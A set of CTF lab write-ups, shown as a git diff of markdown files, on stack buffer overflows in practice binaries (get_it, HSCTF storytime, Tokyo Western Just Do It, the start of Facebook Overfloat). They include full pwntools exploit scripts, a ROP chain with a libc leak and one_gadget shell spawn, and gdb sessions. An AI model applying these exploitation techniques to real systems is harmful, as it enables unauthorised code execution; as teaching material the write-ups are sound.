payload += b"\x00" * 0x28
|
||||
payload += p64(0x4005b6)
|
||||
|
||||
|
||||
target.sendline(payload)
|
||||
|
||||
target.interactive()
|
||||
|
||||
|
||||
|
||||
|
||||
Basically with this exploit.py we create a payload that has 40 nullbytes (0x28 in hexa) and then contains the address of the give_shell function, so let's see if it works:
|
||||
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/get]
|
||||
→ python3 exploit.py
|
||||
[+] Starting local process './get_it': pid 244402
|
||||
[*] Switching to interactive mode
|
||||
Do you gets it??
|
||||
$ w
|
||||
21:07:19 up 1 day, 22:20, 3 users, load average: 0.16, 0.14, 0.06
|
||||
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
|
||||
nothing pts/1 tmux(6724).%3 16:42 6.00s 18.38s 0.15s python3 exploit.py
|
||||
nothing pts/3 tmux(6724).%4 19:14 45:07 0.88s 0.04s less
|
||||
nothing pts/4 tmux(6724).%5 19:21 3:35 2.46s 2.46s -zsh
|
||||
|
||||
|
||||
|
||||
and that's it! we have been able to spawn a shell with the binary file.
|
||||
|
||||
## Title
|
||||
|
||||
text
|
||||
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
||||
## Title
|
||||
|
||||
text
|
||||
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
389
2/hs.md
Normal file
|
@ -0,0 +1,389 @@
|
|||
# Binary Exploitation
|
||||
|
||||
## Downloading the binary file
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/hs]
|
||||
→ wget -q https://github.com/guyinatuxedo/nightmare/raw/master/modules/08-bof_dynamic/hs19_storytime/core
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/hs]
|
||||
→ wget -q https://github.com/guyinatuxedo/nightmare/raw/master/modules/08-bof_dynamic/hs19_storytime/libc.so.6
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/hs]
|
||||
→ wget -q https://github.com/guyinatuxedo/nightmare/raw/master/modules/08-bof_dynamic/hs19_storytime/storytime
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/hs]
|
||||
→ file storytime
|
||||
storytime: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=3f716e7aa7e236824c52ed0410c1f14739919822, not stripped
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/hs]
|
||||
→ chmod +x storytime ; ls -lash
|
||||
total 4.1M
|
||||
4.0K drwxr-xr-x 2 nothing nothing 4.0K Mar 7 10:27 .
|
||||
4.0K drwxr-xr-x 13 nothing nothing 4.0K Mar 7 10:26 ..
|
||||
2.3M -rw-r--r-- 1 nothing nothing 2.3M Mar 7 10:26 core
|
||||
1.8M -rw-r--r-- 1 nothing nothing 1.8M Mar 7 10:27 libc.so.6
|
||||
12K -rwxr-xr-x 1 nothing nothing 8.3K Mar 7 10:27 storytime
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
||||
## Solution
|
||||
|
||||
First of all let's run pwn checksec on the binary and then run it to see what it does:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/hs]
|
||||
→ pwn checksec storytime
|
||||
[*] '/home/nothing/binexp/2/hs/storytime'
|
||||
Arch: amd64-64-little
|
||||
RELRO: Partial RELRO
|
||||
Stack: No canary found
|
||||
NX: NX enabled
|
||||
PIE: No PIE (0x400000)
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/hs]
|
||||
→ ./storytime
|
||||
HSCTF PWNNNNNNNNNNNNNNNNNNNN
|
||||
Tell me a story:
|
||||
yes
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/hs]
|
||||
→ ./storytime
|
||||
HSCTF PWNNNNNNNNNNNNNNNNNNNN
|
||||
Tell me a story:
|
||||
no
|
||||
|
||||
|
||||
|
||||
So we have a 64 bit dynamically linked binary that has a Non-Executable stack (NX), it prints out some text, and then prompts us for input. Let's view it inside of ghidra:
|
||||
|
||||

|
||||
|
||||
We get the following disassembled code:
|
||||
|
||||
|
||||
undefined8 main(void)
|
||||
|
||||
{
|
||||
undefined local_38 [48];
|
||||
|
||||
setvbuf(stdout,(char *)0x0,2,0);
|
||||
write(1,"HSCTF PWNNNNNNNNNNNNNNNNNNNN\n",0x1d);
|
||||
write(1,"Tell me a story: \n",0x12);
|
||||
read(0,local_38,400);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
|
||||
Our input text gets passed into a read() call, and we can pass in 400 bytes of data into the local_38 variable even though it was initially declared to be able to hold only 48 bytes. So this means that we have our buffer overflow right here. There is no stack canary, so nothing stops us from executing code, now what will we execute ? When we look under the imports in Ghidra, we see the following imported functions:
|
||||
|
||||

|
||||
|
||||
So this means that we can call any of these functions, Since the ELF is dynamically linked, we don't have alot of gadgets. First we will need to get a libc infoleak with a **write** function that writes to stdout (1) and then loops back again to a vulnerable read call to overwrite the return address with a [onegadget](https://github.com/david942j/one_gadget), which is a ROP gadget that can be found in the libc, that can potentially spawn a shell. Now we need to know what the libc version is, we can view it from gdb with the **vmmap** command.
|
||||
|
||||

|
||||
|
||||
Here we want to set the first breakpoint after the read call at **0x4x4x4x40069c** , so we can locate where our text is:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/hs]
|
||||
→ gdb ./storytime
|
||||
GNU gdb (GDB) 10.1
|
||||
Copyright (C) 2020 Free Software Foundation, Inc.
|
||||
License GPLv3+: GNU GPL version 3 or later
|
||||
This is free software: you are free to change and redistribute it.
|
||||
There is NO WARRANTY, to the extent permitted by law.
|
||||
Type "show copying" and "show warranty" for details.
|
||||
This GDB was configured as "x86_64-pc-linux-gnu".
|
||||
Type "show configuration" for configuration details.
|
||||
For bug reporting instructions, please see:
|
||||
.
|
||||
Find the GDB manual and other documentation resources online at:
|
||||
.
|
||||
|
||||
For help, type "help".
|
||||
Type "apropos word" to search for commands related to "word"...
|
||||
GEF for linux ready, type `gef' to start, `gef config' to configure
|
||||
92 commands loaded for GDB 10.1 using Python engine 3.9
|
||||
Reading symbols from ./storytime...
|
||||
(No debugging symbols found in ./storytime)
|
||||
gef➤ b *0x40069c
|
||||
Breakpoint 1 at 0x40069c
|
||||
gef➤ r
|
||||
Starting program: /home/nothing/binexp/2/hs/storytime
|
||||
HSCTF PWNNNNNNNNNNNNNNNNNNNN
|
||||
Tell me a story:
|
||||
13371337
|
||||
|
||||
Breakpoint 1, 0x000000000040069c in main ()
|
||||
[ Legend: Modified register | Code | Heap | Stack | String ]
|
||||
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
|
||||
$rax : 0x0
|
||||
$rbx : 0x00000000004006a0 → <__libc_csu_init+0> push r15
|
||||
$rcx : 0x00007ffff7ebd052 → 0x5677fffff0003d48 ("H="?)
|
||||
$rdx : 0x190
|
||||
$rsp : 0x00007fffffffdf38 → 0x00007ffff7df4b25 → <__libc_start_main+213> mov edi, eax
|
||||
$rbp : 0x0
|
||||
$rsi : 0x00007fffffffdf00 → 0x3733333137333331 ("13371337"?)
|
||||
$rdi : 0x0
|
||||
$rip : 0x000000000040069c → ret
|
||||
$r8 : 0x0
|
||||
$r9 : 0x00007ffff7fdc070 → <_dl_fini+0> endbr64
|
||||
$r10 : 0xfffffffffffffb87
|
||||
$r11 : 0x246
|
||||
$r12 : 0x00000000004004d0 → <_start+0> xor ebp, ebp
|
||||
$r13 : 0x0
|
||||
$r14 : 0x0
|
||||
$r15 : 0x0
|
||||
$eflags: [zero CARRY PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
|
||||
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
|
||||
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
|
||||
0x00007fffffffdf38│+0x0000: 0x00007ffff7df4b25 → <__libc_start_main+213> mov edi, eax ← $rsp
|
||||
0x00007fffffffdf40│+0x0008: 0x00007fffffffe028 → 0x00007fffffffe358 → "/home/nothing/binexp/2/hs/storytime"
|
||||
0x00007fffffffdf48│+0x0010: 0x00000001f7fca000
|
||||
0x00007fffffffdf50│+0x0018: 0x000000000040062e → push rbp
|
||||
0x00007fffffffdf58│+0x0020: 0x00007fffffffe339 → 0x61b7180f2454c920
|
||||
0x00007fffffffdf60│+0x0028: 0x00000000004006a0 → <__libc_csu_init+0> push r15
|
||||
0x00007fffffffdf68│+0x0030: 0x7140ad8a61b88017
|
||||
0x00007fffffffdf70│+0x0038: 0x00000000004004d0 → <_start+0> xor ebp, ebp
|
||||
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
|
||||
0x400691 call 0x4004b0
|
||||
0x400696 mov eax, 0x0
|
||||
0x40069b leave
|
||||
●→ 0x40069c ret
|
||||
↳ 0x7ffff7df4b25 <__libc_start_main+213> mov edi, eax
|
||||
0x7ffff7df4b27 <__libc_start_main+215> call 0x7ffff7e0c820
|
||||
0x7ffff7df4b2c <__libc_start_main+220> mov rax, QWORD PTR [rsp]
|
||||
0x7ffff7df4b30 <__libc_start_main+224> lea rdi, [rip+0x164729] # 0x7ffff7f59260
|
||||
0x7ffff7df4b37 <__libc_start_main+231> mov rsi, QWORD PTR [rax]
|
||||
0x7ffff7df4b3a <__libc_start_main+234> xor eax, eax
|
||||
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
|
||||
[#0] Id 1, Name: "storytime", stopped 0x40069c in main (), reason: BREAKPOINT
|
||||
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
|
||||
[#0] 0x40069c → main()
|
||||
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
|
||||
gef➤
|
||||
|
||||
|
||||
|
||||
What happened here is that we first set the breakpoint to be after the read call, and then we ran the binary, gave it an easy to remember pattern (13371337) and then we hit our breakpoint. Now let's search where our pattern is in the memory:
|
||||
|
||||
|
||||
gef➤ search-pattern 13371337
|
||||
[+] Searching '13371337' in memory
|
||||
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
|
||||
0x7fffffffdf00 - 0x7fffffffdf08 → "13371337[...]"
|
||||
|
||||
gef➤ info frame
|
||||
Stack level 0, frame at 0x7fffffffdf38:
|
||||
rip = 0x40069c in main; saved rip = 0x7ffff7df4b25
|
||||
Arglist at unknown address.
|
||||
Locals at unknown address, Previous frame's sp is 0x7fffffffdf40
|
||||
Saved registers:
|
||||
rip at 0x7fffffffdf38
|
||||
|
||||
|
||||
|
||||
So here we see that our pattern is located at **0x7fffffffdf00** and the return address is at **0x7fffffffdf38** so we can now calculate the offset between the 2 with python's hex() function easily:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/17 ] [Nextcloud/blog]
|
||||
→ python3
|
||||
Python 3.9.2 (default, Feb 20 2021, 18:40:11)
|
||||
[GCC 10.2.0] on linux
|
||||
Type "help", "copyright", "credits" or "license" for more information.
|
||||
>>> hex( 0x7fffffffdf00 - 0x7fffffffdf38 )
|
||||
'-0x38'
|
||||
|
||||
|
||||
|
||||
And we get a 0x38 bytes offset between the start of our input and the return address. Now for the write libc infoleak, we need to make use of the following registers:
|
||||
|
||||
|
||||
rdi 0x1 (stdout file handle)
|
||||
rsi got address entry for write
|
||||
rdx value => 8
|
||||
|
||||
|
||||
|
||||
Since PIE isn't enabled, we know the address of the got entry without needing a PIE infoleak. Looking at the assembly code leading up to the ret instruction which gives us code execution, we can see that the **rdx** register is set to 0x190 whgich will fit our needs:
|
||||
|
||||
|
||||
00400680 48 8d 45 d0 LEA RAX=>local_38,[RBP + -0x30]
|
||||
00400684 ba 90 01 MOV EDX,0x190
|
||||
00 00
|
||||
00400689 48 89 c6 MOV RSI,RAX
|
||||
0040068c bf 00 00 MOV EDI,0x0
|
||||
00 00
|
||||
00400691 e8 1a fe CALL read ssize_t read(int __fd, void * __
|
||||
|
||||
|
||||
|
||||
Now for the got entry of **write** in the rsi register, we see that there is a rop gadget that will allow us to pop it into the register. It will also pop a value into the r15 register, however we just need to include another 8 byte qword in our rop chain for that so it doesn't change anything:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/17 ] [binexp/2/hs]
|
||||
→ ROPgadget --binary storytime| grep rsi
|
||||
0x0000000000400701 : pop rsi ; pop r15 ; ret
|
||||
|
||||
|
||||
|
||||
Now for the last register (1 in rdi) we can jump to 0x400601 which is in the middle of the end function:
|
||||
|
||||
|
||||
void end(void)
|
||||
|
||||
{
|
||||
write(1,"The End!\n",0x28);
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
|
||||
The instruction we jump back to will **mov 0x1 into edi** and then call **write** which will give us our infoleak:
|
||||
|
||||
|
||||
004005fa 48 8d 35 LEA RSI,[s_The_End!_00400761] = "The End!\n"
|
||||
60 01 00 00
|
||||
00400601 bf 01 00 MOV EDI,0x1
|
||||
00 00
|
||||
00400606 e8 95 fe CALL write ssize_t write(int __fd, void * _
|
||||
ff ff
|
||||
0040060b 90 NOP
|
||||
0040060c 5d POP RBP
|
||||
0040060d c3 RET
|
||||
|
||||
|
||||
|
||||
So it will return and then continue with our ropchain, however before it does that, it will pop a value off of our chain into the rbp register so we will need to include a 8 bytes qword in our ropchain at that point. for where to jump to, we choose **0x40060e** since it is the beginning of the **climax** function:
|
||||
|
||||

|
||||
|
||||
|
||||
void climax(void)
|
||||
|
||||
{
|
||||
undefined local_38 [48];
|
||||
|
||||
read(0,local_38,4000);
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
|
||||
This function will give us a buffer overflow where we can overwrite the return address with a onegadget and spawn a shell. Now let's find the onegadget from the base of libc, to choose which ones to use we can just guess and check
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/17 ] [binexp/2/hs]
|
||||
→ one_gadget libc.so.6
|
||||
0x45216 execve("/bin/sh", rsp+0x30, environ)
|
||||
constraints:
|
||||
rax == NULL
|
||||
|
||||
0x4526a execve("/bin/sh", rsp+0x30, environ)
|
||||
constraints:
|
||||
[rsp+0x30] == NULL
|
||||
|
||||
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
|
||||
constraints:
|
||||
[rsp+0x50] == NULL
|
||||
|
||||
0xf1147 execve("/bin/sh", rsp+0x70, environ)
|
||||
constraints:
|
||||
[rsp+0x70] == NULL
|
||||
|
||||
|
||||
|
||||
So with all of this, we end up with the following exploit:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/17 ] [binexp/2/hs]
|
||||
→ vim exploit.py
|
||||
|
||||
|
||||
|
||||
|
||||
from pwn import *
|
||||
|
||||
target = process('./storytime')
|
||||
libc = ELF('libc.so.6')
|
||||
|
||||
popRsiR15 = p64(0x400701)
|
||||
writeGot = p64(0x601018)
|
||||
payload = b"\x00"*0x38
|
||||
|
||||
# Pop the got entry of write into r15
|
||||
payload += popRsiR15
|
||||
payload += writeGot
|
||||
payload += p64(0x3030303030303030) # Filler value will be popped into r15
|
||||
|
||||
# Right before write call in end
|
||||
payload += p64(0x400601)
|
||||
|
||||
# Filler value that will be popped off in end
|
||||
payload += p64(0x3030303030303030)
|
||||
|
||||
# Address of climax, we will exploit another buffer overflow to use the rop gadget
|
||||
payload += p64(0x40060e)
|
||||
|
||||
target.sendline(payload)
|
||||
print(target.recvuntil("Tell me a story: \n"))
|
||||
|
||||
# Scan in and filter out the libc infoleak, calculate base of libc
|
||||
leak = u64(target.recv(8))
|
||||
base = leak - libc.symbols["write"]
|
||||
print(hex(base))
|
||||
|
||||
# Calculate the oneshot gadget
|
||||
oneshot = base + 0x4526a
|
||||
|
||||
# Make the payload for the onshot gadget
|
||||
payload = b"\x00"*0x38 + p64(oneshot)
|
||||
|
||||
# Send it and get a shell
|
||||
target.sendline(payload)
|
||||
target.interactive()
|
||||
|
||||
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/17 ] [binexp/2/hs]
|
||||
→ python3 original.py
|
||||
[+] Starting local process './storytime': pid 1570923
|
||||
[*] '/home/nothing/binexp/2/hs/libc.so.6'
|
||||
Arch: amd64-64-little
|
||||
RELRO: Partial RELRO
|
||||
Stack: Canary found
|
||||
NX: NX enabled
|
||||
PIE: PIE enabled
|
||||
b'HSCTF PWNNNNNNNNNNNNNNNNNNNN\nTell me a story: \n'
|
||||
0x7f1b59432e30
|
||||
[*] Switching to interactive mode
|
||||
@\xa0RY\x1b\x7f\x00\xf0KY\x1b\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00 \xc5_Y\x1b\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0[*] Got EOF while reading in interactive
|
||||
$ cat flag.txt
|
||||
hsctf{th4nk7_f0r_th3_g00d_st0ry_yay-314879357}
|
||||
|
||||
|
||||
And that's it ! we managed to capture the flag.
|
||||
|
||||
## Title
|
||||
|
||||
text
|
||||
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
||||
## Title
|
||||
|
||||
text
|
||||
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
272
2/just.md
Normal file
|
@ -0,0 +1,272 @@
|
|||
# Tokyo Western 2017 - Just Do It!
|
||||
|
||||
## Downloading the binary file
|
||||
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/justdoit]
|
||||
→ wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/04-bof_variable/tw17_justdoit/just_do_it
|
||||
--2021-02-23 15:25:50-- https://github.com/guyinatuxedo/nightmare/raw/master/modules/04-bof_variable/tw17_justdoit/just_do_it
|
||||
Resolving github.com (github.com)... 140.82.121.4
|
||||
Connecting to github.com (github.com)|140.82.121.4|:443... connected.
|
||||
HTTP request sent, awaiting response... 302 Found
|
||||
Location: https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/04-bof_variable/tw17_justdoit/just_do_it [following]
|
||||
--2021-02-23 15:25:51-- https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/04-bof_variable/tw17_justdoit/just_do_it
|
||||
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.109.133, 185.199.111.133, 185.199.110.133, ...
|
||||
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.109.133|:443... connected.
|
||||
HTTP request sent, awaiting response... 200 OK
|
||||
Length: 7792 (7.6K) [application/octet-stream]
|
||||
Saving to: ‘just_do_it’
|
||||
|
||||
just_do_it 100%[=======================================================================================================================================================================================================>] 7.61K --.-KB/s in 0s
|
||||
|
||||
2021-02-23 15:25:51 (35.9 MB/s) - ‘just_do_it’ saved [7792/7792]
|
||||
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/justdoit]
|
||||
→ file just_do_it
|
||||
just_do_it: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=cf72d1d758e59a5b9912e0e83c3af92175c6f629, not stripped
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/justdoit]
|
||||
→ chmod +x just_do_it
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
||||
## Solution
|
||||
|
||||
First of all, let's run the binary file to see what it does:
|
||||
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/justdoit]
|
||||
→ ./just_do_it
|
||||
Welcome my secret service. Do you know the password?
|
||||
Input the password.
|
||||
not_the_password
|
||||
Invalid Password, Try Again!
|
||||
|
||||
|
||||
|
||||
Again, this is the kind of binary files that wants us to give them the correct password, so it's time to checksec it and see what ghidra finds:
|
||||
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/justdoit]
|
||||
→ pwn checksec just_do_it
|
||||
[*] '/home/nothing/binexp/2/justdoit/just_do_it'
|
||||
Arch: i386-32-little
|
||||
RELRO: Partial RELRO
|
||||
Stack: No canary found
|
||||
NX: NX enabled
|
||||
PIE: No PIE (0x8048000)
|
||||
|
||||
|
||||
|
||||
` 
|
||||
|
||||
|
||||
undefined4 main(void)
|
||||
|
||||
{
|
||||
char *pcVar1;
|
||||
int iVar2;
|
||||
char local_28 [16];
|
||||
FILE *local_18;
|
||||
char *local_14;
|
||||
undefined *local_c;
|
||||
|
||||
local_c = &stack0x00000004;
|
||||
setvbuf(stdin,(char *)0x0,2,0);
|
||||
setvbuf(stdout,(char *)0x0,2,0);
|
||||
setvbuf(stderr,(char *)0x0,2,0);
|
||||
local_14 = failed_message;
|
||||
local_18 = fopen("flag.txt","r");
|
||||
if (local_18 == (FILE *)0x0) {
|
||||
perror("file open error.\n");
|
||||
/* WARNING: Subroutine does not return */
|
||||
exit(0);
|
||||
}
|
||||
pcVar1 = fgets(flag,0x30,local_18);
|
||||
if (pcVar1 == (char *)0x0) {
|
||||
perror("file read error.\n");
|
||||
/* WARNING: Subroutine does not return */
|
||||
exit(0);
|
||||
}
|
||||
puts("Welcome my secret service. Do you know the password?");
|
||||
puts("Input the password.");
|
||||
pcVar1 = fgets(local_28,0x20,stdin);
|
||||
if (pcVar1 == (char *)0x0) {
|
||||
perror("input error.\n");
|
||||
/* WARNING: Subroutine does not return */
|
||||
exit(0);
|
||||
}
|
||||
iVar2 = strcmp(local_28,PASSWORD);
|
||||
if (iVar2 == 0) {
|
||||
local_14 = success_message;
|
||||
}
|
||||
puts(local_14);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
here we have the code of the main function and we see something: first of all it checks if flag.txt is here, and then it prompts for our text input, putting it in the local_28 variable, and then later on, our input text (local_28) gets compared to the PASSWORD variable, so let's double click it in ghidra to see what it contains:
|
||||
|
||||

|
||||
|
||||
|
||||
PASSWORD XREF[2]: Entry Point(*), main:080486d0(R)
|
||||
0804a03c c8 87 04 08 addr s_P@SSW0RD_080487c8 = "P@SSW0RD"
|
||||
|
||||
|
||||
|
||||
now in the code we see something particular:
|
||||
|
||||
|
||||
pcVar1 = fgets(local_28,0x20,stdin);
|
||||
if (pcVar1 == (char *)0x0) {
|
||||
perror("input error.\n");
|
||||
/* WARNING: Subroutine does not return */
|
||||
exit(0);
|
||||
|
||||
|
||||
|
||||
So our input text passes into an fget call, which means that even though we have the password, the fgets call will append a newline character (0x0a) at the end, so to pass the check we need a nullbyte after P@SSW0RD, to do so we will use python:
|
||||
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/2 ] [binexp/2/justdoit]
|
||||
→ ./just_do_it
|
||||
Welcome my secret service. Do you know the password?
|
||||
Input the password.
|
||||
P@SSW0RD
|
||||
Invalid Password, Try Again!
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/2 ] [binexp/2/justdoit]
|
||||
→ python -c 'print "P@SSW0RD" + "\x00"'
|
||||
P@SSW0RD
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/2 ] [binexp/2/justdoit]
|
||||
→ python -c 'print "P@SSW0RD" + "\x00"' | ./just_do_it
|
||||
Welcome my secret service. Do you know the password?
|
||||
Input the password.
|
||||
Correct Password, Welcome!
|
||||
|
||||
|
||||
|
||||
Now here we basically managed to pass the check, but that's not it, we see from the disassembly code that the fgets call can input 32 bytes worth of data (looking at the stack below : 0x28 - 0x18 = 16 (since it's hexadecimal)).
|
||||
|
||||

|
||||
|
||||
with this we can reach the output message being printed with a puts call, right before the function returns, so let's take another look at the code portion where flag.txt is handled:
|
||||
|
||||
|
||||
local_18 = fopen("flag.txt","r");
|
||||
if (local_18 == (FILE *)0x0) {
|
||||
perror("file open error.\n");
|
||||
/* WARNING: Subroutine does not return */
|
||||
exit(0);
|
||||
}
|
||||
pcVar1 = fgets(flag,0x30,local_18);
|
||||
if (pcVar1 == (char *)0x0) {
|
||||
perror("file read error.\n");
|
||||
/* WARNING: Subroutine does not return */
|
||||
exit(0);
|
||||
}
|
||||
|
||||
|
||||
|
||||
What we see here is that after it opens the flag.txt file, it scans in 48 bytes (here its 0x30 bytes in hexa). So the idea here is to find the address of where the flag file is stored, and then, to overwrite the value of the output message (puts call) with it to print the contents of flag:
|
||||
|
||||
|
||||
flag XREF[2]: Entry Point(*), main:08048650(*)
|
||||
0804a080 00 00 00 undefine
|
||||
00 00 00
|
||||
00 00 00
|
||||
0804a080 00 undefined100h [0] XREF[2]: Entry Point(*), main:08048650(*)
|
||||
0804a081 00 undefined100h [1]
|
||||
|
||||
[...]
|
||||
|
||||
0804a0aa 00 undefined100h [42]
|
||||
0804a0ab 00 undefined100h [43]
|
||||
0804a0ac 00 undefined100h [44]
|
||||
0804a0ad 00 undefined100h [45]
|
||||
0804a0ae 00 undefined100h [46]
|
||||
0804a0af 00 undefined100h [47]
|
||||
|
||||
|
||||
|
||||
After double clicking on the flag variable, we get the code above, so we know that flag is at the address 0x0804a080, now if we look at the beginning of main, we see that the input variable (local_28) and the output message (local 14) are separated by 20 bytes worth of data:
|
||||
|
||||

|
||||
|
||||
|
||||
**************************************************************
|
||||
* FUNCTION *
|
||||
**************************************************************
|
||||
undefined main(undefined1 param_1)
|
||||
undefined AL:1
|
||||
undefined1 Stack[0x4]:1 param_1 XREF[1]: 080485bb(*)
|
||||
undefined4 Stack[0x0]:4 local_res0 XREF[1]: 080485c2(R)
|
||||
undefined4 Stack[-0xc]:4 local_c XREF[1]: 08048704(R)
|
||||
undefined4 Stack[-0x14]:4 local_14 XREF[2]: 0804860d(W),
|
||||
080486ee(W)
|
||||
undefined4 Stack[-0x18]:4 local_18 XREF[3]: 08048625(W),
|
||||
08048628(R),
|
||||
0804864b(R)
|
||||
undefined1 Stack[-0x28]:1 local_28 XREF[2]: 080486a6(*),
|
||||
080486d9(*)
|
||||
main XREF[4]: Entry Point(*),
|
||||
_start:080484d7(*), 0804886c,
|
||||
080488c8(*)
|
||||
080485bb 8d 4c 24 04 LEA ECX=>param_1,[ESP + 0x4]
|
||||
|
||||
|
||||
|
||||
Now let's highlight just the parts we need:
|
||||
|
||||

|
||||
|
||||
0x28 - 0x14 = 20 bytes, so let's create a payload that has 20 null bytes:
|
||||
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/justdoit]
|
||||
→ python -c 'print "\x00"*20 + "\x80\xa0\x04\x08"'
|
||||
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/justdoit]
|
||||
→ python -c 'print "\x00"*20 + "\x80\xa0\x04\x08"' | xxd
|
||||
00000000: 0000 0000 0000 0000 0000 0000 0000 0000 ................
|
||||
00000010: 0000 0000 80a0 0408 0a .........
|
||||
|
||||
|
||||
|
||||
here we can see with xxd what the payload looks like, now let's try it on the binary:
|
||||
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/justdoit]
|
||||
→ python -c 'print "\x00"*20 + "\x80\xa0\x04\x08"' | ./just_do_it
|
||||
Welcome my secret service. Do you know the password?
|
||||
Input the password.
|
||||
flag{g0ttem_b0yz}
|
||||
|
||||
|
||||
|
||||
And there we have it!
|
||||
|
||||
## Title
|
||||
|
||||
text
|
||||
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
||||
## Title
|
||||
|
||||
text
|
||||
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
396
2/overf.md
Normal file
|
@ -0,0 +1,396 @@
|
|||
# Facebook CTF 2019 Overfloat
|
||||
|
||||
## Downloading the binary file
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/overf]
|
||||
→ wget -q https://github.com/guyinatuxedo/nightmare/raw/master/modules/08-bof_dynamic/fb19_overfloat/overfloat
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/overf]
|
||||
→ wget -q https://github.com/guyinatuxedo/nightmare/raw/master/modules/08-bof_dynamic/fb19_overfloat/libc-2.27.so
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/overf]
|
||||
→ wget -q https://github.com/guyinatuxedo/nightmare/raw/master/modules/08-bof_dynamic/fb19_overfloat/core
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/overf]
|
||||
→ l
|
||||
total 4.3M
|
||||
drwxr-xr-x 2 nothing nothing 4.0K Mar 6 19:11 .
|
||||
